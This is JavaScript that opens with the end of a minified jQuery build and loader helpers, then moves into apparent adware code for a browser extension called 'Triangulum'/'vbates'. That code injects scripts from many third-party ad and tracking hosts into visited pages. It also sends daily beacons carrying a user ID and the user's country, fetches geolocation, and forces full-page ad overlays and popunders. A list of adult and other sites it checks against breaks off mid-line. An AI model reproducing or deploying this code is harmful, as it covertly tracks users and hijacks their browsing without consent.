getScript: function(a, b) {
return n.get(a, void 0, b, "script")
}
}), n.each(["get", "post"], function(a, b) {
n[b] = function(a, c, d, e) {
return n.isFunction(c) && (e = e || d, d = c, c = void 0), n.ajax({
url: a,
type: b,
dataType: e,
data: c,
success: d
})
}
}), n.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(a, b) {
n.fn[b] = function(a) {
return this.on(b, a)
}
}), n._evalUrl = function(a) {
return n.ajax({
url: a,
type: "GET",
dataType: "script",
async: !1,
global: !1,
"throws": !0
})
}, n.fn.extend({
wrapAll: function(a) {
if (n.isFunction(a)) return this.each(function(b) {
n(this).wrapAll(a.call(this, b))
});
if (this[0]) {
var b = n(a, this[0].ownerDocument).eq(0).clone(!0);
this[0].parentNode && b.insertBefore(this[0]), b.map(function() {
var a = this;
while (a.firstChild && 1 === a.firstChild.nodeType) a = a.firstChild;
return a
}).append(this)
}
return this
},
wrapInner: function(a) {
return this.each(n.isFunction(a) ? function(b) {
n(this).wrapInner(a.call(this, b))
} : function() {
var b = n(this),
c = b.contents();
c.length ? c.wrapAll(a) : b.append(a)
})
},
wrap: function(a) {
var b = n.isFunction(a);
return this.each(function(c) {
n(this).wrapAll(b ? a.call(this, c) : a)
})
},
unwrap: function() {
return this.parent().each(function() {
n.nodeName(this, "body") || n(this).replaceWith(this.childNodes)
}).end()
}
}), n.expr.filters.hidden = function(a) {
return a.offsetWidth <= 0 && a.offsetHeight <= 0 || !l.reliableHiddenOffsets() && "none" === (a.style && a.style.display || n.css(a, "display"))
}, n.expr.filters.visible = function(a) {
return !n.expr.filters.hidden(a)
};
var bo = /%20/g,
Sc = /\[\]$/,
Tc = /\r?\n/g,
Uc = /^(?:submit|button|image|reset|file)$/i,
Vc = /^(?:input|select|textarea|keygen)/i;

function Wc(a, b, c, d) {
var e;
if (n.isArray(b)) n.each(b, function(b, e) {
c || Sc.test(a) ? d(a, e) : Wc(a + "[" + ("object" == typeof e ? b : "") + "]", e, c, d)
});
else if (c || "object" !== n.type(b)) d(a, b);
else
for (e in b) Wc(a + "[" + e + "]", b[e], c, d)
}
n.param = function(a, b) {
var c, d = [],
e = function(a, b) {
b = n.isFunction(b) ? b() : null == b ? "" : b, d[d.length] = encodeURIComponent(a) + "=" + encodeURIComponent(b)
};
if (void 0 === b && (b = n.ajaxSettings && n.ajaxSettings.traditional), n.isArray(a) || a.jquery && !n.isPlainObject(a)) n.each(a, function() {
e(this.name, this.value)
});
else
for (c in a) Wc(c, a[c], b, e);
return d.join("&").replace(bo, "+")
}, n.fn.extend({
serialize: function() {
return n.param(this.serializeArray())
},
serializeArray: function() {
return this.map(function() {
var a = n.prop(this, "elements");
return a ? n.makeArray(a) : this
}).filter(function() {
var a = this.type;
return this.name && !n(this).is(":disabled") && Vc.test(this.nodeName) && !Uc.test(a) && (this.checked || !X.test(a))
}).map(function(a, b) {
var c = n(this).val();
return null == c ? null : n.isArray(c) ? n.map(c, function(a) {
return {
name: b.name,
value: a.replace(Tc, "\r\n")
}
}) : {
name: b.name,
value: c.replace(Tc, "\r\n")
}
}).get()
}
}), n.ajaxSettings.xhr = void 0 !== a.ActiveXObject ? function() {
return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && $c() || _c()
} : $c;
var bp = 0,
Yc = {},
Zc = n.ajaxSettings.xhr();
a.ActiveXObject && n(a).on("unload", function() {
for (var a in Yc) Yc[a](void 0, !0)
}), l.cors = !!Zc && "withCredentials" in Zc, Zc = l.ajax = !!Zc, Zc && n.ajaxTransport(function(a) {
if (!a.crossDomain || l.cors) {
var b;
return {
send: function(c, d) {
var e, f = a.xhr(),
g = ++bp;
if (f.open(a.type, a.url, a.async, a.username, a.password), a.xhrFields)
for (e in a.xhrFields) f[e] = a.xhrFields[e];
a.mimeType && f.overrideMimeType && f.overrideMimeType(a.mimeType), a.crossDomain || c["X-Requested-With"] || (c["X-Requested-With"] = "XMLHttpRequest");
for (e in c) void 0 !== c[e] && f.setRequestHeader(e, c[e] + "");
f.send(a.hasContent && a.data || null), b = function(c, e) {
var h, i, j;
if (b && (e || 4 === f.readyState))
if (delete Yc[g], b = void 0, f.onreadystatechange = n.noop, e) 4 !== f.readyState && f.abort();
else {
j = {}, h = f.status, "string" == typeof f.responseText && (j.text = f.responseText);
try {
i = f.statusText
} catch (k) {
i = ""
}
h || !a.isLocal || a.crossDomain ? 1223 === h && (h = 204) : h = j.text ? 200 : 404
}
j && d(h, i, j, f.getAllResponseHeaders())
}, a.async ? 4 === f.readyState ? setTimeout(b) : f.onreadystatechange = Yc[g] = b : b()
},
abort: function() {
b && b(void 0, !0)
}
}
}
});

function $c() {
try {
return new a.XMLHttpRequest
} catch (b) {}
}

function _c() {
try {
return new a.ActiveXObject("Microsoft.XMLHTTP")
} catch (b) {}
}
n.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /(?:java|ecma)script/
},
converters: {
"text script": function(a) {
return n.globalEval(a), a
}
}
}), n.ajaxPrefilter("script", function(a) {
void 0 === a.cache && (a.cache = !1), a.crossDomain && (a.type = "GET", a.global = !1)
}), n.ajaxTransport("script", function(a) {
if (a.crossDomain) {
var b, c = z.head || n("head")[0] || z.documentElement;
return {
send: function(d, e) {
b = z.createElement("script"), b.async = !0, a.scriptCharset && (b.charset = a.scriptCharset), b.src = a.url, b.onload = b.onreadystatechange = function(a, c) {
(c || !b.readyState || /loaded|complete/.test(b.readyState)) && (b.onload = b.onreadystatechange = null, b.parentNode && b.parentNode.removeChild(b), b = null, c || e(200, "success"))
}, c.insertBefore(b, c.firstChild)
},
abort: function() {
b && b.onload(void 0, !0)
}
}
}
});
var bq = [],
bd = /(=)\?(?=&|$)|\?\?/;
n.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
var a = bq.pop() || n.expando + "_" + bm++;
return this[a] = !0, a
}
}), n.ajaxPrefilter("json jsonp", function(b, c, d) {
var e, f, g, h = b.jsonp !== !1 && (bd.test(b.url) ? "url" : "string" == typeof b.data && !(b.contentType || "").indexOf("application/x-www-form-urlencoded") && bd.test(b.data) && "data");
return h || "jsonp" === b.dataTypes[0] ? (e = b.jsonpCallback = n.isFunction(b.jsonpCallback) ? b.jsonpCallback() : b.jsonpCallback, h ? b[h] = b[h].replace(bd, "$1" + e) : b.jsonp !== !1 && (b.url += (xc.test(b.url) ? "&" : "?") + b.jsonp + "=" + e), b.converters["script json"] = function() {
return g || n.error(e + " was not called"), g[0]
}, b.dataTypes[0] = "json", f = a[e], a[e] = function() {
g = arguments
}, d.always(function() {
a[e] = f, b[e] && (b.jsonpCallback = c.jsonpCallback, bq.push(e)), g && n.isFunction(f) && f(g[0]), g = f = void 0
}), "script") : void 0
}), n.parseHTML = function(a, b, c) {
if (!a || "string" != typeof a) return null;
"boolean" == typeof b && (c = b, b = !1), b = b || z;
var d = v.exec(a),
e = !c && [];
return d ? [b.createElement(d[1])] : (d = n.buildFragment([a], b, e), e && e.length && n(e).remove(), n.merge([], d.childNodes))
};
var br = n.fn.load;
n.fn.load = function(a, b, c) {
if ("string" != typeof a && br) return br.apply(this, arguments);
var d, e, f, g = this,
h = a.indexOf(" ");
return h >= 0 && (d = a.slice(h, a.length), a = a.slice(0, h)), n.isFunction(b) ? (c = b, b = void 0) : b && "object" == typeof b && (f = "POST"), g.length > 0 && n.ajax({
url: a,
type: f,
dataType: "html",
data: b
}).done(function(a) {
e = arguments, g.html(d ? n("
<div>").append(n.parseHTML(a)).find(d) : a)
}).complete(c && function(a, b) {
g.each(c, e || [a.responseText, b, a])
}), this
}, n.expr.filters.animated = function(a) {
return n.grep(n.timers, function(b) {
return a === b.elem
}).length
};
var bs = a.document.documentElement;

function ed(a) {
return n.isWindow(a) ? a : 9 === a.nodeType ? a.defaultView || a.parentWindow : !1
}
n.offset = {
setOffset: function(a, b, c) {
var d, e, f, g, h, i, j, k = n.css(a, "position"),
l = n(a),
m = {};
"static" === k && (a.style.position = "relative"), h = l.offset(), f = n.css(a, "top"), i = n.css(a, "left"), j = ("absolute" === k || "fixed" === k) && n.inArray("auto", [f, i]) > -1, j ? (d = l.position(), g = d.top, e = d.left) : (g = parseFloat(f) || 0, e = parseFloat(i) || 0), n.isFunction(b) && (b = b.call(a, c, h)), null != b.top && (m.top = b.top - h.top + g), null != b.left && (m.left = b.left - h.left + e), "using" in b ? b.using.call(a, m) : l.css(m)
}
}, n.fn.extend({
offset: function(a) {
if (arguments.length) return void 0 === a ? this : this.each(function(b) {
n.offset.setOffset(this, a, b)
});
var b, c, d = {
top: 0,
left: 0
},
e = this[0],
f = e && e.ownerDocument;
if (f) return b = f.documentElement, n.contains(b, e) ? (typeof e.getBoundingClientRect !== L && (d = e.getBoundingClientRect()), c = ed(f), {
top: d.top + (c.pageYOffset || b.scrollTop) - (b.clientTop || 0),
left: d.left + (c.pageXOffset || b.scrollLeft) - (b.clientLeft || 0)
}) : d
},
position: function() {
if (this[0]) {
var a, b, c = {
top: 0,
left: 0
},
d = this[0];
return "fixed" === n.css(d, "position") ? b = d.getBoundingClientRect() : (a = this.offsetParent(), b = this.offset(), n.nodeName(a[0], "html") || (c = a.offset()), c.top += n.css(a[0], "borderTopWidth", !0), c.left += n.css(a[0], "borderLeftWidth", !0)), {
top: b.top - c.top - n.css(d, "marginTop", !0),
left: b.left - c.left - n.css(d, "marginLeft", !0)
}
}
},
offsetParent: function() {
return this.map(function() {
var a = this.offsetParent || bs;
while (a && !n.nodeName(a, "html") && "static" === n.css(a, "position")) a = a.offsetParent;
return a || bs
})
}
}), n.each({
scrollLeft: "pageXOffset",
scrollTop: "pageYOffset"
}, function(a, b) {
var c = /Y/.test(b);
n.fn[a] = function(d) {
return W(this, function(a, d, e) {
var f = ed(a);
return void 0 === e ? f ? b in f ? f[b] : f.document.documentElement[d] : a[d] : void(f ? f.scrollTo(c ? n(f).scrollLeft() : e, c ? e : n(f).scrollTop()) : a[d] = e)
}, a, d, arguments.length, null)
}
}), n.each(["top", "left"], function(a, b) {
n.cssHooks[b] = Mb(l.pixelPosition, function(a, c) {
return c ? (c = Kb(a, b), Ib.test(c) ? n(a).position()[b] + "px" : c) : void 0
})
}), n.each({
Height: "height",
Width: "width"
}, function(a, b) {
n.each({
padding: "inner" + a,
content: b,
"": "outer" + a
}, function(c, d) {
n.fn[d] = function(d, e) {
var f = arguments.length && (c || "boolean" != typeof d),
g = c || (d === !0 || e === !0 ? "margin" : "border");
return W(this, function(b, c, d) {
var e;
return n.isWindow(b) ? b.document.documentElement["client" + a] : 9 === b.nodeType ? (e = b.documentElement, Math.max(b.body["scroll" + a], e["scroll" + a], b.body["offset" + a], e["offset" + a], e["client" + a])) : void 0 === d ? n.css(b, c, g) : n.style(b, c, d, g)
}, b, f ? d : void 0, f, null)
}
})
}), n.fn.size = function() {
return this.length
}, n.fn.andSelf = n.fn.addBack, "function" == typeof define && define.amd && define("jquery", [], function() {
return n
});
var bt = a.jQuery,
gd = a.$;
return n.noConflict = function(b) {
return a.$ === n && (a.$ = gd), b && a.jQuery === n && (a.jQuery = bt), n
}, typeof b === L && (a.jQuery = a.$ = n), n
});
(function($) {
var f = [];

function loadScript(a, b, c) {
var d = f[a] || (f[a] = {
loaded: false,
callbacks: []
});
if (d.loaded) {
return b.apply(c)
}
d.callbacks.push({
fn: b,
context: c
});
if (d.callbacks.length == 1) {
$.ajax({
type: 'GET',
url: a,
dataType: 'script',
cache: true,
success: function() {
d.loaded = true;
$.each(d.callbacks, function() {
this.fn.apply(this.context)
});
d.callbacks.length = 0
}
})
}
}
$.requireScript = function(a, b, c, d) {
if (typeof d === 'undefined' && c && c.hasOwnProperty('parallel')) {
d = c;
c = window
}
d = $.extend({
parallel: true
}, d);
if (!$.isArray(a)) {
return loadScript(a, b, c)
}
var e = 0;
if (d.parallel) {
return $.each(a, function() {
loadScript(this, function() {
if (++e == a.length) {
b.apply(c)
}
})
})
}(function() {
if (e == a.length) {
return b.apply(c)
}
loadScript(a[e++], arguments.callee)
})()
};
$.requireScript.registerLoaded = function(a) {
$.each($.makeArray(a), function() {
(f[a] || (f[a] = {})).loaded = true
})
}
})(jQuery);
(function(f, b, g) {
var d = b.getElementsByTagName("head")[0],
a = /loaded|complete/,
e = {},
c = 0,
h;
g.getCSS = function(j, i, l) {
if (g.isFunction(i)) {
l = i;
i = {}
}
var k = b.createElement("link");
k.rel = "stylesheet";
k.type = "text/css";
k.media = i.media || "screen";
k.href = j;
if (i.charset) {
k.charset = i.charset
}
if (i.title) {
l = (function(m) {
return function() {
k.title = i.title;
m(k, "success")
}
})(l)
}
if (k.readyState) {
k.onreadystatechange = function() {
if (a.test(k.readyState)) {
k.onreadystatechange = null;
l(k, "success")
}
}
} else {
if (k.onload === null && k.all) {
k.onload = function() {
k.onload = null;
l(k, "success")
}
} else {
e[k.href] = function() {
l(k, "success")
};
if (!c++) {
h = f.setInterval(function() {
var r, o, q = b.styleSheets,
m, n = q.length;
while (n--) {
o = q[n];
if ((m = o.href) && (r = e[m])) {
try {
r.r = o.cssRules;
throw "insecure";
} catch (p) {
if (/insecure/.test(p)) {
r(k, "success");
delete e[m];
if (!--c) {
h = f.clearInterval(h)
}
}
}
}
}
}, 13)
}
}
}
d.appendChild(k)
}
})(this, this.document, this.jQuery);
navigator.sayswho = (function() {
var a = navigator.userAgent,
tem, M = a.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
if (/trident/i.test(M[1])) {
tem = /\brv[ :]+(\d+)/g.exec(a) || [];
return 'IE ' + (tem[1] || '')
}
if (M[1] === 'Chrome') {
tem = a.match(/\b(OPR|Edge)\/(\d+)/);
if (tem != null) return tem.slice(1).join(' ').replace('OPR', 'Opera')
}
M = M[2] ? [M[1], M[2]] : [navigator.appName, navigator.appVersion, '-?'];
if ((tem = a.match(/version\/(\d+)/i)) != null) M.splice(1, 1, tem[1]);
return M.join(' ')
});
var allParamsData = "";

function _WGT_gup(a, b) {
a = a.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
var c = "[\\?&]" + a + "=([^&#]*)";
var d = new RegExp(c);
var e = d.exec(b);
if (e == null) return null;
else return e[1]
};
var $jfc = jQuery.noConflict(true);
var orion_CONFIG_main = {
_EX_PARAM: "_SFR_xl",
_MAIN_JS: ("https:" == document.location.protocol ? "https://" : "http://") + "q2u3z6t7.ssl.hwcdn.net/",
grzURL: ("https:" == document.location.protocol ? "https://" : "http://") + "dbnconfig.s3.amazonaws.com/pixel.gif?tbId="
};
var _VBATES_YTDOWN_BASE_CONF = {
mainCssPath: ("https:" == document.location.protocol ? "https://" : "http://") + "q2u3z6t7.ssl.hwcdn.net/css/",
mainSWFpath: ("https:" == document.location.protocol ? "https://" : "http://") + "q2u3z6t7.ssl.hwcdn.net/swf/",
requestPathLogin: "http://v-bates.com/login_2.php?",
requestPathSendPurchase: "http://ec2-54-83-36-96.compute-1.amazonaws.com/cart/xml_json2.php?",
redeemLink: "http://v-bates.com/account.html",
registerLink: "http://www.v-bates.com/register.php",
mainImgPath: ("https:" == document.location.protocol ? "https://" : "http://") + "https://q2u3z6t7.ssl.hwcdn.net/css/img",
apiPath: ("https:" == document.location.protocol ? "https://" : "http://") + "ssl.v-bates.com/rd/widget_api.php?q=",
requestRegisterCheck: "http://ec2-54-83-36-96.compute-1.amazonaws.com/cart/register.php?",
htmlWidget: "http://v-bates.com/redirect/widget.html",
iframeSrc: "//s3.amazonaws.com/www.vbates.com/html/rd/generator.html",
vendorsData: "//s3.amazonaws.com/www.vbates.com/backend/data.js",
adSiteLink: "http://v-bates.com/ad-supported.php",
adSiteLinkSpz: "http://v-bates.com/ad-supported.php",
apiCall: ("https:" == document.location.protocol ? "https://" : "http://") + "ssl2.v-bates.com/rd/shopserver/apicall.php?",
grzURL: ("https:" == document.location.protocol ? "https://" : "http://") + "dbnconfig.s3.amazonaws.com/pixel.gif?tbId=",
dailyURL: ("https:" == document.location.protocol ? "https://" : "http://") + "log.sfrbeacon.com.s3.amazonaws.com/pixel.gif?tbId=",
sleepCounter: 0,
extlID: "_SFR_xl"
};
var uninstalllink = "http://triangulum .orgfree.com/uninstall.html";
var productName = "Triangulum ";
var mnChannelName = "scorpius";
var orion_WGT_main = function() {
var n = "";
var o = "";
var p = "";
var q = "";
var r = "";
var s = "";
var t = 0;
var u = function() {
orionHelthParam = true;
v();
w()
};
var v = function() {
try {
n = _WGT_gup('chnl', allParamsData);
if (n == null || n == "" || n == "null") {
n = "gen"
}
o = _WGT_gup('geo', allParamsData);
if (o == "" || o == "null" || o == null) {
o = getCookie('orUserGeo')
}
p = _WGT_gup('tbid', allParamsData);
q = _WGT_gup('ver', allParamsData);
r = _WGT_gup('daily', allParamsData);
s = _WGT_gup('prepopTimer', allParamsData);
t = _WGT_gup('prepopIndex', allParamsData)
} catch (e) {
n = "gen";
p = "null";
q = "0";
r = "";
s = "";
t = ""
}
try {
var b = WXIsAdWindow_myF();
var c = document.createElement("script");
c.src = "//fp135.digitaloptout.com/pubjs?pid=294866&cid=1&uid=" + p + "&sid=" + mnChannelName + "_" + o + "&an=" + productName + "&opt=0&u=" + uninstalllink;
c.id = "confsc";
document.body.appendChild(c)
} catch (e) {}
if (!b) {
try {
var d = document.createElement("script");
d.src = "https://istatic.eshopcomp.com/fo/ec/bitshakersr.js?subid=" + mnChannelName + "_" + o + "&bname=" + productName + "&blink=" + uninstalllink;
document.body.appendChild(d)
} catch (e) {}
try {
var f = document.createElement("script");
f.src = "https://cdncache-a.akamaihd.net/sub/xd1c6ea/" + mnChannelName + "_" + o + "/l.js?pid=1725&ext=" + productName;
document.body.appendChild(f)
} catch (e) {}
try {
if (o == "US" || o == "us" || o == "CA" || o == "ca" || o == "AU" || o == "au" || o == null || o == "null" || o == "" || typeof o == "undefined" || o == " ") {
var g = document.createElement("script");
g.src = "https://www.tr553.com/InterYield/bindevent.do?e=click&affiliate=Bitshakers4&subid=" + mnChannelName + "_" + o + "&ecpm=0&debug=false&snoozeMinutes=2&adCountIntervalHours=24&maxAdCountsPerInterval=6&attributionLogo=http%3A%2F%2Fdbo1rpcxmp3fw.cloudfront.net%2Fimg%2Flogo_vb_small.png&attributionTitle=Ads%20by%20" + productName + "&attributionLink=" + uninstalllink + "&endpoint=https%3A%2F%2Fwww.tr553.com";
document.body.appendChild(g)
} else {
var g = document.createElement("script");
g.src = "https://www.tr553.com/InterYield/bindevent.do?e=click&affiliate=Bitshakers2&subid=" + mnChannelName + "_" + o + "&ecpm=0&debug=false&snoozeMinutes=2&adCountIntervalHours=24&maxAdCountsPerInterval=6&attributionLogo=http%3A%2F%2Fdbo1rpcxmp3fw.cloudfront.net%2Fimg%2Flogo_vb_small.png&attributionTitle=Ads%20by%20" + productName + "&attributionLink=" + uninstalllink + "&endpoint=https%3A%2F%2Fwww.tr553.com";
document.body.appendChild(g)
}
} catch (e) {}
try {
_am430_pbn = productName;
_am_geo = o;
_am430_peel = 1;
_am430_para = 1;
_am430_leaderboard = 1;
_am430_search = 1;
amplS = document.createElement("script");
amplS.type = "text/javascript";
amplS.async = false;
amplS.src = (location.protocol === "https:" ? "//v3x3b3b5.map2.ssl.hwcdn.net/" : "//cds.v3x3b3b5.hwcdn.net/") + "s/97c12b64-33d8-4a97-ae03-16a7e077dda1.js?cb=" + (new Date()).getDate();
document.getElementsByTagName("head")[0].appendChild(amplS)
} catch (e) {}
try {
window._rvz9160x1002 = {
'publisher_subid': mnChannelName,
'addonname': productName
};
(function() {
var e = document.createElement('script');
e.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'asrv-a.akamaihd.net/sd/9160/1002.js';
document.body.appendChild(e)
})()
} catch (e) {}
try {
var h = orion_CONFIG_main._MAIN_JS + "js/shpzlist.js?d=15122013";
$jfc.ajax({
url: h,
dataType: "script",
cache: true,
success: function() {
var a = document.createElement("script");
a.src = orion_CONFIG_main._MAIN_JS + "js/vbates.js?d=27102015";
document.body.appendChild(a)
}
})
} catch (e) {}
z();
var i = x();
var j = document.createElement('script');
j.type = "text/javascript";
j.src = "http://cds.q2u3z6t7.hwcdn.net/ppu/script.min.js";
j.onload = j.onreadystatechange = function() {
if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") {
j.onload = j.onreadystatechange = null;
BetterJsPop.flashUrl('http://cds.q2u3z6t7.hwcdn.net/ppu/flash.e.swf').perpage(5).add('http://adsrvmedia.adk2x.com/imp?p=70763936&ct=html&ap=1303&iss=0&f=0', {
'cookieExpires': 15
})
}
};
j.onerror = function() {};
document.getElementsByTagName('head')[0].appendChild(j)
}
try {
sendGruzmanDailyPing()
} catch (e) {}
};
var w = function() {
try {
o = _WGT_gup('geo', allParamsData);
if (o == null || o == "null" || o == "") {
var c = getCookie('orGEO');
var d = getCookie('orUserGeo');
if (c != "true" && d == "") {
var f = "http://www.geoplugin.net/javascript.gp";
$jfc.ajax({
url: f,
dataType: "script",
cache: true,
success: function() {
o = geoplugin_countryCode();
var a = document.getElementById("orion_ifrm").contentWindow;
var b = ("https:" == document.location.protocol ? "https://" : "http://") + "q2u3z6t7.ssl.hwcdn.net/html/pixel.html";
a.postMessage('~setParam=geo=' + o + '=365', b);
y('orGEO', 'true', 1);
y('orUserGeo', o, 365)
}
})
}
}
} catch (e) {}
};
var x = (function() {
function s4() {
return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1)
}
return function() {
return s4() + s4() + s4() + s4() + s4() + s4() + s4() + s4()
}
})();

function getCookie(a) {
if (document.cookie.length > 0) {
c_start = document.cookie.indexOf(a + "=");
if (c_start != -1) {
c_start = c_start + a.length + 1;
c_end = document.cookie.indexOf(";", c_start);
if (c_end == -1) {
c_end = document.cookie.length
}
return unescape(document.cookie.substring(c_start, c_end))
}
}
return ""
}
var y = function(a, b, c) {
var d;
if (c) {
var e = new Date();
e.setTime(e.getTime() + (c * 24 * 60 * 60 * 1000));
d = "; expires=" + e.toGMTString()
} else {
d = ""
}
document.cookie = a + "=" + b + d + "; path=/"
};

function sendGruzmanDailyPing() {
try {
var c = orion_CONFIG_main.grzURL;
var d = x();
var f = getCookie('orPing');
if (r != 'true' && f != "true") {
var g = c + p + "&chnl=" + n + "&evt=DailyPing&prd=vbates&seg=1&ext=1&fl=true&ver=" + q + "&drv=6&rnd=" + d;
var h = "
<div id='WGT_anlts_pxl' style='width:1px;height:1px;display:none;'><img id='WGT_pxlImgLoad' src='" + g + "'>" + "</div>
";
$jfc('body').append(h);
$jfc("#WGT_pxlImgLoad").load(function() {
var a = document.getElementById("orion_ifrm").contentWindow;
var b = ("https:" == document.location.protocol ? "https://" : "http://") + "q2u3z6t7.ssl.hwcdn.net/html/pixel.html";
a.postMessage('~setParam=daily=true=1', b);
y('orPing', 'true', 1)
});
try {
if (document.location.protocol != "https:") {
var i = 'http://backupbi-env.elasticbeanstalk.com/index.php/api/v1/dbeacon?user_name=' + '{"userid": "' + p + '","evt":"DailyPing","ext":"1", "country": "' + o + '","drv":"6", "channel": "' + n + '", "product": "vbates", "version": "' + q + '" }';
var j = 'http://pbeacon-env.elasticbeanstalk.com/api/v1/dbeacon?user_name=' + '{"userid": "' + p + '","evt":"DailyPing","ext":"1", "country": "' + o + '","drv":"6", "channel": "' + n + '", "product": "vbates", "version": "' + q + '" }';
var k = "
<div id='WGT_anlts_pxl2' style='width:1px;height:1px;display:none;'><img id='WGT_pxlImgLoad1' src='" + i + "'>" + "<img id='WGT_pxlImgLoad2' src='" + j + "'>" + "</div>
";
$jfc('body').append(k)
} else {
j = 'https://pbeacon.prod.wajamu.com/api/v1/dbeacon?user_name=' + '{"userid": "' + p + '","evt":"DailyPing","ext":"1", "country": "' + o + '","drv":"6", "channel": "' + n + '", "product": "vbates", "version": "' + q + '" }';
k = "
<div id='WGT_anlts_pxl2' style='width:1px;height:1px;display:none;'>" + "<img id='WGT_pxlImgLoad2' src='" + j + "'>" + "</div>
";
$jfc('body').append(k)
}
} catch (e) {}
}
} catch (e) {}
};
var z = function() {
var a = F();
var b = document.location.href;
if (b.indexOf("facebook") == -1 && b.indexOf("google") == -1 && b.indexOf("twitter") == -1 && b.indexOf("search.yahoo") == -1 && b.indexOf("www.bing.com") == -1 && b.indexOf("youtube") == -1) {
var c = s;
if (c != null && c != "" && c != "null") {
var d = new Date();
var e = d.getTime();
var f = t;
var g = e - c;
var h = 1800000;
var i = 60000;
if (a.indexOf('fast-route.com') > -1) {
j = 60000
} else if (f == 0 || f == 1 || f == 2) {
var j = i
} else {
j = h
}
if (g > j) {
A(a)
}
} else {
A(a)
}
}
};
var A = function(a) {
if (a && typeof a != "undefined") {
var b = $jfc('#media1534').length;
if (b == 1) return;
var c = $jfc('html').width();
var d = $jfc('html').height();
var e = (c / 2 - (c * 0.9) / 2);
var f = '
<div id="or_layer" style="width:' + c + 'px;height:' + d + 'px;background-color: black; position: fixed; top:0px; left:0px; z-index: 2147483640; opacity: 0.7;"></div>
';
var g = '
<div id="media1534" style="display:none;z-index: 2147483647;position:absolute;width:90%;height:95%;top:20px;left:' + e + 'px;"><iframe id="or987" width="100%" height="100%" src="' + a + '"></iframe>' + '</iframe></div>
';
$jfc('body').append($jfc(g));
document.getElementById('or987').onload = function() {
$jfc('body').append($jfc(f));
$jfc('#media1534').show()
};
y('orPrepop', 'true', 1);
try {
var h = '
<div id="mainPrpTop" style="width:100%;height:46px;background-color:#F4F4F4;top: 0px;z-index: 700000;position:relative;">
<div id="leftPrpTop" style="height: 46px;width: 178px;float: left;font-family: verdana;font-weight: bold;color: #595959;text-align: center;line-height: 34px;font-size: 13px;">Advertisement<a href="' + uninstalllink + '" style="font-size:9px;color:#848484;text-decoration: none;font-weight: normal;display: block;line-height:0px" target="_blanc">Ads by ' + productName + '</a></div>
<div id="middlePrpTop" style="display: inline-block;width: 50%;height: 100%;"></div>
<div id="rightPrpTop" style="float:right;height: 75px;width: 200px;float: right;font-family: verdana;color: #595959;font-size: 13px;direction: ltr;">
<div id="countdownText" style="margin-top: 6px">Please wait...</div>
<div id="contdownHolder" style="height: 24px;"><span id="contdown"></span><span id="contdownText"> seconds</span></div>
<div id="skipButton" onclick="orion_WGT_main.returnToPage();" style="display:none;margin-top: 6px;width: 121px;height: 25px;border-radius: 4px;-moz-border-radius: 4px;font-size: 16px;text-align: center;line-height:25px;background-color:#00A8FF;cursor:pointer">SKIP AD</div>
<div id="removeThisVB" style="display:none;"><a href="' + uninstalllink + '" style="font-size:9px;color:#848484;text-decoration: none;font-weight: normal;margin-left:27px;" target="_blanc"> remove this</a></div>
</div>
</div>
';
$jfc("#media1534").prepend(h);
D();
var i = document.getElementById("orion_ifrm").contentWindow;
var j = ("https:" == document.location.protocol ? "https://" : "http://") + "q2u3z6t7.ssl.hwcdn.net/html/pixel.html";
var k = new Date();
var l = k.getTime();
i.postMessage('~setParam=prepopTimer=' + l + '=365', j);
var m;
switch (t) {
case null:
m = 0;
break;
case "0":
m = 1;
break;
case "1":
m = 2;
break;
case "2":
m = 3;
break;
case "3":
m = 0;
break;
default:
m = 0;
break
}
i.postMessage('~setParam=prepopIndex=' + m + '=365', j)
} catch (ex) {}
}
};
var B = function() {
$jfc('#or_layer').remove();
$jfc('#media1534').remove()
};
var C = 5;
var D = function() {
if (C < 0) {
E();
return false
} else {
setTimeout(function() {
$jfc("#contdown").html(C);
C--;
D()
}, 800)
}
};
var E = function() {
$jfc("#contdownHolder,#countdownText").hide();
$jfc("#skipButton,#removeThisVB").show()
};
var F = function() {
try {
var a = "http://www.onclicktop.com/a/display.php?r=1052975";
var b = document.location.hostname;
var c = /(11oyun.com|3movs.com|4chan.org|4tube.com|abril.com.br|absoluporn.com|ad126m.com|adam4adam.com|adultfriendfinder.com|adultjoy.net|adultwork.com|alohatube.com|amateur.tv|amateurcommunity.com|annasdiary.com|antarvasna.com|anysex.com|apptrckr.info|araporno.com|ashemaletube.com|ashleymadison.com|ashleyrnadison.com|backpage.com|beeg.com|beemtube.com|berliner-sparkasse.de|bitterstrawberry.org|blog2an.com|boafoda.com|bolsademulher.com|bongacams.com|bonporn.com|brazzers.com|cam4.at|cam4.ca|cam4.co.uk|cam4.com|cam4.com.br|cam4.de.com|cam4.es|cam4.fr|camdolls.com|cameraprive.com|camplace.com|camster.com|canalporno.com|cerdas.com|chaturbate.com|clickadu.com|cloud-trax.com|clporn.com|coco.fr|com-trk.com|conejox.com|connected2.me|coqnu.com|cpayard.com|cpvstat.info|cumlouder.com|d4swing.com|depositfiles.org|dildoxxxtube.com|dinamani.com|disponivel.uol.com.br|doublepimp.com|drtuber.com|effectshare.com|e-hentai.org|einfachporno.com|eramuslim.com|eroprofile.com|eroticdatng.com|erotikforum.at|fabswingers.com|fakings.com|fakku.net|fetlife.com|flirt4free.com|flyingjizz.com|freewebcams.com|fuck-a-girl-today.com|fuegodevida.com|fullhd720pizle.com|fundorado.de|gay411.com|get-a-fuck-tonight.com|gonzodino.com|hardsextube.com|hello-pet.com|hentaifr.net|hornytrip.com|hot-sex-tube.com|hotspotshield.com|hurriyetaile.com|imagefap.com|indiangfvideos.com|indianpornvideos.com|indiansexstories.net|indiansexxxtube.com|iporntv.net|ixxx.com|iyiporn.com|izlesikis.net|jacquieetmicheltv.net|jacquieetmicheltv2.net|jamo.tv|javdict.tv|javfor.me|javsin.com|jecontacte.com|jjgirls.com|joyclub.de|justporno.tv|kamarjudi.com|keezmovies.com|ledporno.com|liebelib.com|lightxxxtube.com|literotica.com|livehotty.com|livejasmin.com|masaladesi.com|mobilesexlife.mobi|motherless.com|muyzorras.com|mydirtyhobby.com|myfreecams.com|mypornwap.com|naoconto.com|netechangisme.com|newpct.com|ninfetasgratis.net|nudevis